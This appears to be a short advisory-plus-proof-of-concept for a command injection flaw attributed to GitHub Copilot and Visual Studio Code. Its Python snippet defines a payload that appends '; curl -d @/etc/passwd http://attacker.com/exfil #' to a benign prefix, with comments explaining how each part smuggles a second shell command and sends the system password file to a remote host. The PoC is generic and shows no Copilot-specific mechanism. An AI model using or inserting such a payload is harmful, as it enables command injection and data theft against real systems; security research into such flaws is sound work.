Improper neutralization of special elements used in a command ('command injection') in GitHub Copilot and Visual Studio Code allows an authorized attacker to disclose information over a network.
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-23653
# This payload demonstrates a command injection scenario.
# It assumes the vulnerable input is directly passed to a system shell.
# Malicious input to be injected into Copilot/VSCode context
payload = "valid_suggestion; curl -d @/etc/passwd http://attacker.com/exfil #"
# Explanation:
# 1. 'valid_suggestion' acts as a benign prefix to bypass basic checks.
# 2. ';' is the command separator in Unix-like shells, allowing a second command.
# 3. 'curl' executes to exfiltrate sensitive file contents to a remote server.
# 4. '#' comments out the rest of the line to prevent syntax errors.